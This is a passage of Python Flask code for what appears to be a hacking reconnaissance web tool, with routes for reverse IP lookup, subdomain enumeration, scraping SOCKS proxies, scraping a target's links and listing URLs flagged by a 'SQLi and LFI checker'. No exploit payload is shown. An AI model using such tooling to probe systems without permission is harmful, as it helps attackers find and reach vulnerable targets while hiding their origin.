return render_template("tools.html", data=sql.execute("""SELECT * from vuln_urls ORDER BY url_ DESC"""),
tool="SQLi and LFI checker")
@app.route("/reverse_ip")
def reverse_ip():
global domains_list
ip = request.args.get("ip", default="none", type=str)
domains_list.clear()
if ip != "none":
send = header_gen().request("GET", "https://reverseip.domaintools.com/search/?q=" + str(ip), retries=Retry(4),
timeout=Timeout(5))
parsing = BeautifulSoup(send.data, features="html.parser")
for d in parsing.find_all("span", title=str(ip)):
if d.string is not None:
domains_list.append(d.string)
return render_template("tools.html", data=domains_list, tool="Reverse IP lookup")
@app.route("/subdomains")
def subdomains():
global domains_list
domain = request.args.get("domain", default="none", type=str)
domains_list.clear()
if domain != "none":
send = header_gen().request("GET", "https://dns.bufferover.run/dns?q=" + domain, retries=Retry(4),
timeout=Timeout(5))
try:
parsing = send.data.decode("utf-8")
except Exception as exc:
print("Error:\n" + str(exc) + "Trying latin-1...")
parsing = send.data.decode('latin-1')
json_response = json.loads(parsing)
subdomain_list = json_response['FDNS_A']
if subdomain_list is not None:
for subdomain in subdomain_list:
domains_list.append(subdomain)
return render_template("tools.html", data=domains_list, tool="Subdomain lookup")
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.route("/myip")
def myip():
ip_info = ""
try:
req = header_gen().request("GET", "ipinfo.io/ip", retries=Retry(4), timeout=Timeout(5))
ip_info = req.data.decode("utf-8")
except Exception as exc:
print(str(exc))
return render_template("tools.html", data=ip_info, tool="My IP")
def parse_proxy():
global found_proxy, proxy_list
page = header_gen().request("GET", "https://spys.one/en/socks-proxy-list/", retries=Retry(3), timeout=Timeout(5))
pattern = re.compile(r'onmouseout.*?spy14>(.*?)<s.*?write.*?nt>\"\+(.*?)\)</scr.*?en(.*?)-', re.S)
info = re.findall(pattern, page.data.decode("utf-8"))
port_passwd = {}
portcode = (re.findall('table><script type="text/javascript">(.*)</script>',
page.data.decode("utf-8")))[0].split(';')
for code in portcode:
ii = re.findall(r'\w+=\d+', code)
for i in ii:
kv = i.split('=')
if len(kv[1]) == 1:
k = kv[0]
v = kv[1]
port_passwd[k] = v
else:
pass
for i in info:
port_word = re.findall(r'\((\w+)\^', i[1])
port_digital = ''
for port_number in port_word:
port_digital += port_passwd[port_number]
found_proxy.append('{0}:{1}'.format(i[0], port_digital))
if args.proxy:
proxy_list.append('{0}:{1}'.format(i[0], port_digital))
@app.route("/proxy")
def proxy_scraper():
global found_proxy
found_proxy.clear()
try:
parse_proxy()
for p in proxy_list:
print(p)
except Exception as e:
print("Error: " + str(e))
return render_template("tools.html", data=found_proxy, tool="Proxy scraper")
def href_parser(link):
global links
print("Scraping links from target: " + link)
send = header_gen().request("GET", link, retries=Retry(3), timeout=Timeout(5))
try:
parsing = BeautifulSoup(send.data, features="html.parser")
except Exception as ex:
print("Error:\n" + str(ex) + "Trying latin-1...")